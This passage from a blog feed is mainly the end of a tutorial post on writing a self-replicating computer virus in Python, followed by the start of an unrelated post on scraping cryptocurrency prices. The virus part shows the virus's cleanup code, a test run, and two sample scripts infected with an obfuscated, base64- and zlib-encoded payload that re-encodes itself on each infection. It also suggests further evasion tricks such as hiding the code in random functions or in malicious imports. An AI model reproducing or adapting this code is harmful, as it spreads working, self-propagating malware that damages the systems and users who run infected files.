&lt;span style=&quot;color: #66d9ef;&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# delete used names from memory&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;list(globals()&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;keys()):&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(i[&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;_&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;del {}&#39;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;format(i))&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;del&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;i&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# end-78ea1850f48d1c1802f388db81698fd0&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s try this new virus in another directory with the uninfected version of &lt;code&gt;[numbers.py](http://numbers.py)&lt;/code&gt; and &lt;code&gt;[hello.py](http://hello.py)&lt;/code&gt;, and let’s see what happens.&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;playgrounds&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos&lt;/span&gt; &lt;span style=&quot;background-color: #1e0010; color: #960050;&quot;&gt;❯&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;python&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;py&lt;/span&gt;                                                                            &lt;span style=&quot;color: #ae81ff;&quot;&gt;03&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;09&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;52&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;PM&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;sick,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;fked&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;complicated&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;We&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;are&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;chaos,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;we&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;can&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;t be cured&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Executing the virus we have the same behavior as we had before, but our 
infected files are now a little different than before… This is &lt;code&gt;[numbers.py](http://numbers.py)&lt;/code&gt; :&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# begin-661bb45509227577d3693829a1e1cb33&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;import zlib&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;import base64&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;exec(zlib.decompress(base64.urlsafe_b64decode(b&#39;eNqVWMty47oRXUtfgdALkxkNC2-AU-Uss8zqVmUxvsWiRNBmLJEqkhqPc-v-expAk5JsOZmoaqwHmo2Dfpw-mDtSWM6MWt-RrXtqu6_GuopZRRtpa7ZjlvJGWFtvLdOFbWq6XoOpKKhldh0-S8YMtev2cOyHiWyr0WkZFhjjtFDzwtO-38afjTF2-fm5Gp_3bVzRtDCsmFfabjy63RRWOKXMsnmlH-OP1moj5h-Hqqv7A6IT0sp54d-ze2WE0iyCVkxxIda1a8iTm8pd302um8q-KZt271L_J_sW4SpBpVyv6mqqyAP5R9-5uLtmUuo1gdcdGdx0GjoyPTuCrkjfkIp4PxESV0KJ9eq1nZ5Jf3Rd2GJDkiHJSDWSw1vY-BsaF5SB8bwnLuaDq-p927kxzYKdKYQymAUutdR2vUIk_kmMqTFw6FX4YgvOBf9w6rYp266BWFdbPPsm5AUjYFRhDf-Fk5K-27-RtiFtyGt3D-XgXEeic1eTNxfTWVhhuF1i-mkGcHsuaBFPWRjFqFqvmn4gPhLgOhw1ApVC2QLcrgCCx-9XvRVGVUtmC1idY7SkUiomuI47CKoKfiOO4FowtNFaWSZDGPvtuDsNLg0gyPZtcmNGvv4tfkJUWkhNMXxoDwEbJ0jnwQcv2EI0D8fBjWPbPfn4QTUT1-36Gr_DUS5aq2CSSht8ItC4mJ-G_Vg1rtxqGZ52qS__fHYecG5IkWXYoaLgGFoF4QGX_lAT9NIIIT6UgKJEyOWPdjiNZfB5_jiXCBdmKZHl8TGUSTAm3phUdTjO2B8c9mu7m8to3NwKASz-cMN0MwhCMs6hGDr3egEO6un773HdckPFdbGc7RC4VApSv3rnJK-O0KN1mtyR5ItPVRrh5v4N_j25lNHwyrIvJHnskrlWNYXK-MxdQHFpr5meGUly4DMoPAx3fX2kuc5CraRJkv-rb7v0epdsQ-5PU_PV3mN6_dEKs9TyDc-RFXShgKdjRUjKIKa-CpoWku_bcCynHgkirdsB3vrhDTAleTJzJMwLINzVXXiI9JD2ITCCr4BqIruqI8feZ7mt9kARW3fmBEwVcJlekH4PbOLzFj5A3vz0yP2fNPlrfnxLsphiXTAuJXIDDDLDAvTxdDj0Xbl7rnrgSsTIgf2ox3guymP1tu-rOsafSuUhHIe2m9Lkn1Ct0Kdju3vZkOa0ewGopyPW5OG4b3cVoH_s0C5stSGvzp818B4JscY8c8qNwT4TnsQCTIxpJNwPPWW14L4g7tDOcwb0gQ-MHwbkNzjG0J8mX1N-ooRzhXh5kIGF70fS9TdIeDO7XB4Jc6kCzOPUHwi03Nj2nSen6w5e5i4EKjDswzzA80Otwkly5J0klGKSZfmz-1m3T26ccGzJAgTAzDpUURAfnrEjhz780mDCEBUm0ODqk6b5f3gMBwFgAzQrWKj25Y9Q6r7S3U-3Sx-TC0Xx-NhdKR74HowC3dZuIdyPvOwXfXy-eFq5ATz7AkHLHpMswd6ygvMYLaNBwHi2-iAjXqOMmJN8KSYol9yLidXVYv46tBOgeOxm4QdEF1Ia-QneroIQfr2DkVR_9WsXlljhShf0s22iaPH5RWPGKGDC1rBnRXKRG0wxjCXOlO-CpcYhYIPXHUutR9Z4P202kXvaEcUKlMTWTa8ueon0oZjhxjuPIfjDH-vP4NM_4w-LP03VUxSdoIKDHDwjLaFRHsjfq_2IdKqoFvbS4jySNKUwZbH0DVfSzHY3uqkf82M1Pee-hLrq4NIyhLQss__dYwyo0ADb4fa3FNbiLSITwOCob2Ag-KRcDc7zyPQsy1BlJUvxxHqZD3IlvCSMFyDm1epD0H4bTg4FIehBpARNrZXo_-qBbwhUKiqvvX06X5lmBc5XYaURZ9hzIX8GGsYRC1TwXzLN4XJUBChb0HIv8Tl4jOGWhQLlrJap9m7sGg4yn2ItgHY32BAwTGW4j0GyYM4eYdBPs1iwVMwpYoWSazDANqFwOOYrGTYbWvfDvddezQDEftk-y0AYd0N7xHuWUSCw39Xu-8ZEWhFUY8ZAkrPYRvu-fwlz-0oC9LhXRGotU6jK5ul-U2rMBGAZ12Y988rHaRnjYUWh8CoEMkoY7eHsQG2EM18OemWVgdCtrkUCyoliuSFyuFwptXY_d-44oYSAIlUA5ViNSAZFAZSMydb-6rCGo3iJs1xImA7kVbu9mxw5jRBv38tjzMfBHUBLxefhymdpjEsbaxG62UseqLc0y1_cG7xhUODGziSk2wvutknb7_R38pcHcl_enxUZj8v-FSbTPWAgf_x5n_uJWE1piyoRigrcoQilBlQHXMzAtJ3litZ2vjRrDjeZ2Dy_8P8E_wH6PJBm&#39;)))&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# end-661bb45509227577d3693829a1e1cb33&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# numbers.py&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;

&lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;seed()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;_&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;range(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;randint(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and this is&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# begin-8d35108ffe2ad173a697734a3e9938e1&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;exec(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;import zlib&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;import base64&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;exec(zlib.decompress(base64.urlsafe_b64decode(b&#39;eNqVWEtv20YQPku_YksfTDUKwX3vFnCPPfYUoIc4IChxabOWSIGk4rhB_3tn9iFLfrSpgVgydzj8ZuabmY-5IlaUVJvlFdm4u67_qI2rqZFlK0xDt9SUrOXGNBtDlTVtUy6XYGqUNlQs_XeqBVd62e0PwziTTT05JfwBo1zRdP1uN2z8VcWsNiJdvq-n-123iY7gBptOun46uO0cPCkuGEsnw-QvCqv46bFj3TfDPrhRQojTwV_Ju7WA0wbIRjOm5LJxLblzc7Ud-tn1czW0VdvtXI6_Vr94S62FgXAWTT3X5Ib8PvTOX-faYNAEfq7I6Obj2JP53pHoigwtqQn6CfitltQsF4_dfE-Gg-v9I9YkG7MVqSeyf_IPDo-kEKphy0V6ZjwsRlc3u653U76KASlZxhrIUlGqlouIBO8MydaUgs0iYDbSQtFeRt21Vde3kOp6E2Nf-7LEDFBemvIHAiVDv3siXUs6X9X-GrjgXE-Cb9eQJxeKKaSxUMwU3rsFCJXipjSxaFJCAMtFO4wE8wCefaABpmSGWg1ZAwSIHk_RKpxyJa2FexcpQ6dCMq41sDRRRJX8dRalYUKV0UZorplP4rCZtsfR5R4E2TzNblqRj7-Gb-G5SjCpVcxetId8TTMUc4-587aQzP1hdNPU9XeYPuAycf12aOLfEMpZWxkpUkUi0HBYHMfdVLeu2ijh73Y5kr9Izj3ONbGrkFltKaYzBFUa8IgxzdBIE2R4XwGIKiKuvnbjcaq8y-evkR9cWF6mEE-3T54k3pigMakbH8007F1s1m6bSDSt38oAHH514_xmDii1JVRk0bvHM3DAps9fQsWgqEpdcuXZLgBnWmkkzKWPoj5AfzZ5dkWyD1ioPKAt8AP-3bmclv5ntfpAsts-C-nkVmuj3nXnQZzbS0qljumnMIGBg4uY7uYypEQzT5U8y4o_h67PLx-zWpPr49x-NNexulaX1jxT-Q3PwcxwbmVAoQ0wm3oWtB0UH5twquYhToe86Ub4GMYnwJQVWSq_VUbCg678TWSAso9-HiAD6pls654cBqxyV-9gQGzc80SIpWJMihPSz36WYN38F6gbbo4Cf-XZz8XhKVt9ia1VKpXmOewmrjz06bjfD321va8HGJSx0qWMGJ9JeaifdkPdxJVkGNRicRi7fs6zP4Ct0KZTt31Yk_a4fQCox0Pk5P6w67Y1oL_to51_1Jo8OozVTz3icx0LzWDhmYhTc-i5kOKY1DBuXzWVkQZ7HBAHO5wZ0AiYGVwF5BPEMQ7HGVmF-8QH5hOGKP0Qvp5IP7wxg9fJ5ekWv5VqAD3Nw55Az03d0ONwumzhEEHJYXAsF37E3qT1Xewb6UMp4uDJPBmz1aq4d9-a7s5Nc9xaRkCt4iyVVnIoG47sMERvfmgvpdWsDGNAnHfa5v9MsrhDYSLgjoCDeld99WRHrrtvbpvfZmeC4va2v5A78Lc38vO2caeJ-3ow4yHm5wNOljeArz5A0la32SoLmEQpYKvFTqO6xAnzSkU8BhWRqnymJTSIBCFx710cFo9jNwOK2z6pPph1vqRhRMHHRRL81SvYSc1HPDuzTMNPMvneY4JmwfoGY-hbwSMDmGXCmJMkOatOLLK1QjDfuieaQ8pGVB4nuofJ8XLjrMP86aYoV4AUGzc_uuAlqlgJcxydhyR8x8D-9j7xHgw3XprruykuDa5K4P8z0gp65Yb8Vu-m4JRKwTk7tzhbS0YoEWeB0tKKZPZGOw1Tcajn-wI51Nd7l1c-p1W1-u8mg66iHOoRn_6WxDp5izwDEZT2gKKgcS535_PWxNrhKTZtdmJPIEwK5EJ6WcgG99LrZc4-jceYstIqGlUeaHqQ3MH_xQ1xlHNjcZSfe3t3x0IpTNpuSiqmTrATk98DrSXz1v9SZ2ENQ5yLDWi5h_A8q0AeplcMKDA9rbUXe1dSZniyBDmnIkpuBLQr4pthzx5g0c-JLMJGlSo1Z8AcMAhYhfIaeeHl-di5r-6l9mpHmOvnrXPaB9N27A7xHYuDCnzJ25dNGUWD5FJFwMxvXnj4bhge_N6-kABDfFZ8IdSGlYFZabu_KTVS8xvQJF7Tv7Mso3oSHCgRyabhNQ_hbEFt-JgvFr2C_gOHlyIhHYn0pkEhPpAk7tvWHeYoczSscZQI9TTFbQGX4tuXshLU1hJCQYkT-6QUQD5E0ridmx05TpBvbOQp1GPv9qClgnMJwkuEvHSBiNDKKHmAbfmqeHBP8JHex2DpYcZRcHdt3n0uv5Cfbsh1dZ0MhKHMBgP88ZvpGlCQ739fF7gR6znv0lsAcLZkkYggkzj0Fpp2IQjIrYqpNajyQ-f8wH8R_APeFJAZ&#39;)))&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# end-8d35108ffe2ad173a697734a3e9938e1&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;hello world&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Look at that, it’s not so easy to be read now, right? And every 
infection is different than the other one! Moreover, every time the 
infection is propagated, the compressed byte64 virus is compressed and 
encoded again and again.&lt;/p&gt;&lt;p&gt;And this is just a simple example of what
 one could do… for example, the virus could open the target and put this
 piece of code at the beginning of a random function, not always at the 
beginning of the file, or put it in another file and make just a call to
 this file with a malicious &lt;code&gt;import&lt;/code&gt; statement or so…&lt;/p&gt;&lt;p&gt;&lt;b&gt;# To sum up&lt;/b&gt;&lt;/p&gt;&lt;p&gt;In this article, we have seen that writing a computer virus in Python
 is a trivial operation, and even if it’s probably not the best language
 to be used for writing viruses… it’s worth keeping your eyes wide open,
 especially on a production server. :)&lt;/p&gt;&lt;p&gt;&lt;i&gt;Happy coding!&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/3093915330247074763/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/how-to-create-computer-virus-in-python.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3093915330247074763'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/3093915330247074763'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2021/12/how-to-create-computer-virus-in-python.html' title='How to create a computer virus in Python'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEjmllz4Hj9IhSGYrHYO--OK75WI31z6exZTGyBAWxLVvCcMEXNWAGcwvghMVA33-wzSvB2jmUxdPl68iY5e8OrbwSG5Z3ihIkFMw77ZKwlLrcncmfTwIcM0HddbzQQs6Ecwv6q3wMxbf_euBhmUH--KHmPm6510DBZ8akdthzWf8It5CAMBDsUq2hD6=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-7899505099096592993</id><published>2021-11-30T03:40:00.007-08:00</published><updated>2022-01-07T14:39:57.232-08:00</updated><title type='text'>Get the Price of Cryptocurrencies in Real Time using Python</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjkCBen_f4SfFc-dKaY-TSFMBgV9eHQnv7ti1DOnVAZ2ENAgE9C-PT2Fe90ie86TuXe5OMNOnbd1QZxTSOjAZXf4yo8H6vV4bmG1SRjG47ChzIUDc2zN3QXB0BU_g3MmqSf4Os0hgiX5v7hn-g95ARIqFWyZlGyHHd3LljMFpUOG4wpUOK1ofZbr31P&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Get the Price of Cryptocurrencies in Real Time using Python&quot; border=&quot;0&quot; data-original-height=&quot;1024&quot; data-original-width=&quot;577&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjkCBen_f4SfFc-dKaY-TSFMBgV9eHQnv7ti1DOnVAZ2ENAgE9C-PT2Fe90ie86TuXe5OMNOnbd1QZxTSOjAZXf4yo8H6vV4bmG1SRjG47ChzIUDc2zN3QXB0BU_g3MmqSf4Os0hgiX5v7hn-g95ARIqFWyZlGyHHd3LljMFpUOG4wpUOK1ofZbr31P&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;We will scrape URL such as https://www.google.com/search?q=bitcoin+price&lt;/p&gt;
&lt;p&gt;https://www.google.com/search?q=dogecoin+price&lt;/p&gt;
&lt;p&gt;https://www.google.com/search?q=WHAREVER_Coin+price&lt;/p&gt;&lt;br /&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjUDbkll1cH16n35ur5EcKc-gqNNMMSSeAwpRJKyMucuntNtA9XCUIGAaLlvXUKuPuODHFu4MBRk53xmFc0jKGItH4jUvB5sYuv3XD-HOfEO4wvYO2vZrlEKqCPQsPU6UbQiCehP-LdZGMQDtiYTsSCm3NQbTuyJUK9ye8LOb3r7gIiZbfS82iUOech&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Get the Price of Cryptocurrencies in Real Time using Python&quot; border=&quot;0&quot; data-original-height=&quot;649&quot; data-original-width=&quot;851&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjUDbkll1cH16n35ur5EcKc-gqNNMMSSeAwpRJKyMucuntNtA9XCUIGAaLlvXUKuPuODHFu4MBRk53xmFc0jKGItH4jUvB5sYuv3XD-HOfEO4wvYO2vZrlEKqCPQsPU6UbQiCehP-LdZGMQDtiYTsSCm3NQbTuyJUK9ye8LOb3r7gIiZbfS82iUOech&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;Here is the Code:-&lt;/p&gt;&lt;br&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;div style=&quot;background: #272822; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;&lt;span style=&quot;color: #75715e&quot;&gt;# Get Crypto Rates in Real Time&lt;/span&gt;
&lt;span style=&quot;color: #f92672&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;bs4&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;BeautifulSoup&lt;/span&gt; 
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;requests&lt;/span&gt; 
&lt;span style=&quot;color: #f92672&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;time&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;get_crypto_price&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(coin):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;https://www.google.com/search?q=&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;coin&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;+price&amp;quot;&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2&quot;&gt;HTML&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;requests&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;get(url)&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2&quot;&gt;soup&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;BeautifulSoup(HTML&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;text,&lt;/span&gt; &lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;html.parser&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;)&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt; &lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;soup&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;find(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;div&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;class&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;BNeawe iBp4i AP7Wnd&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;})&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;find(&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;quot;div&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;class&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #e6db74&quot;&gt;&amp;#39;BNeawe iBp4i AP7Wnd&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;})&lt;/span&gt;&lt;span style=&quot;color: #f92672&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2&quot;&gt;text&lt;/span&gt;

&lt;span style=&quot;color: #75715e&quot;&gt;#Choose the cryptocurrency&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;(bitcoin):&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2&quot;&gt;:&lt;/span&gt;
